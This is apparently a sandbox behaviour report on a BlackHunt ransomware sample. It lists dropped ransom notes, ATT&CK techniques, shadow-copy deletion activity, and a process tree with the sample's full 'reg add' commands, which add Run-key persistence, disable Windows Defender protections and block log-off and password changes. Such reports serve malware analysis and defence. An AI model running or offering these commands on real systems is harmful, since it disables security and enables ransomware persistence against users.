File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui_5.5.0.165303.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.bidi_0.10.0.v20130327-1442.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_Private.key	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-heapdump.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_Private.key	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Berlin	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yellowknife	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Makassar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\MST	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+12	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576black.png	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jre7\lib\zi\Europe\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_Private.key	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop.wmv	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_ja.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Anchorage	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+11	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Chagos	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\cloud_Thumbnail.bmp	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Managua	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench_3.106.1.v20140827-1737.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2600	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2164	vssadmin.exe
684	vssadmin.exe
3920	vssadmin.exe
3888	vssadmin.exe
4012	vssadmin.exe
3992	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
268	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	wbadmin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	wbadmin.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4044	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1928	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeRestorePrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeBackupPrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeTakeOwnershipPrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeAuditPrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeSecurityPrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeIncBasePriorityPrivilege	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Token: SeBackupPrivilege	3300	vssvc.exe
Token: SeRestorePrivilege	3300	vssvc.exe
Token: SeAuditPrivilege	3300	vssvc.exe
Token: SeBackupPrivilege	2840	wbengine.exe
Token: SeRestorePrivilege	2840	wbengine.exe
Token: SeSecurityPrivilege	2840	wbengine.exe
Token: SeSecurityPrivilege	3828	wevtutil.exe
Token: SeBackupPrivilege	3828	wevtutil.exe
Token: SeSecurityPrivilege	1676	wevtutil.exe
Token: SeBackupPrivilege	1676	wevtutil.exe
Token: SeSecurityPrivilege	3348	wevtutil.exe
Token: SeBackupPrivilege	3348	wevtutil.exe
Token: SeSecurityPrivilege	1840	wevtutil.exe
Token: SeBackupPrivilege	1840	wevtutil.exe
Token: SeSecurityPrivilege	868	wevtutil.exe
Token: SeBackupPrivilege	868	wevtutil.exe
Token: SeDebugPrivilege	268	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2728	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	29
PID 2544 wrote to memory of 2728	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	29
PID 2544 wrote to memory of 2728	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	29
PID 2544 wrote to memory of 2728	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	29
PID 2544 wrote to memory of 2792	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	30
PID 2544 wrote to memory of 2792	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	30
PID 2544 wrote to memory of 2792	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	30
PID 2544 wrote to memory of 2792	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	30
PID 2544 wrote to memory of 2796	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	124
PID 2544 wrote to memory of 2796	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	124
PID 2544 wrote to memory of 2796	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	124
PID 2544 wrote to memory of 2796	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	124
PID 2544 wrote to memory of 2860	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	32
PID 2544 wrote to memory of 2860	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	32
PID 2544 wrote to memory of 2860	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	32
PID 2544 wrote to memory of 2860	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	32
PID 2544 wrote to memory of 2736	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	35
PID 2544 wrote to memory of 2736	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	35
PID 2544 wrote to memory of 2736	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	35
PID 2544 wrote to memory of 2736	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	35
PID 2544 wrote to memory of 2972	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	38
PID 2544 wrote to memory of 2972	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	38
PID 2544 wrote to memory of 2972	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	38
PID 2544 wrote to memory of 2972	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	38
PID 2544 wrote to memory of 3044	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	39
PID 2544 wrote to memory of 3044	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	39
PID 2544 wrote to memory of 3044	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	39
PID 2544 wrote to memory of 3044	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	39
PID 2544 wrote to memory of 2712	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	40
PID 2544 wrote to memory of 2712	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	40
PID 2544 wrote to memory of 2712	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	40
PID 2544 wrote to memory of 2712	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	40
PID 2544 wrote to memory of 2248	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	41
PID 2544 wrote to memory of 2248	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	41
PID 2544 wrote to memory of 2248	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	41
PID 2544 wrote to memory of 2248	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	41
PID 2544 wrote to memory of 3040	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	43
PID 2544 wrote to memory of 3040	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	43
PID 2544 wrote to memory of 3040	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	43
PID 2544 wrote to memory of 3040	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	43
PID 2544 wrote to memory of 2600	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	150
PID 2544 wrote to memory of 2600	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	150
PID 2544 wrote to memory of 2600	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	150
PID 2544 wrote to memory of 2600	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	150
PID 2544 wrote to memory of 2868	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	48
PID 2544 wrote to memory of 2868	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	48
PID 2544 wrote to memory of 2868	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	48
PID 2544 wrote to memory of 2868	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	48
PID 2544 wrote to memory of 2624	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	50
PID 2544 wrote to memory of 2624	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	50
PID 2544 wrote to memory of 2624	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	50
PID 2544 wrote to memory of 2624	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	50
PID 2544 wrote to memory of 1636	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	51
PID 2544 wrote to memory of 1636	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	51
PID 2544 wrote to memory of 1636	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	51
PID 2544 wrote to memory of 1636	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	51
PID 2544 wrote to memory of 2576	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	54
PID 2544 wrote to memory of 2576	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	54
PID 2544 wrote to memory of 2576	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	54
PID 2544 wrote to memory of 2576	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	54
PID 2544 wrote to memory of 2608	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	55
PID 2544 wrote to memory of 2608	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	55
PID 2544 wrote to memory of 2608	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	55
PID 2544 wrote to memory of 2608	2544	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
"C:\Users\Admin\AppData\Local\Temp\23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4028
- C:\Windows\System32\cmd.exe
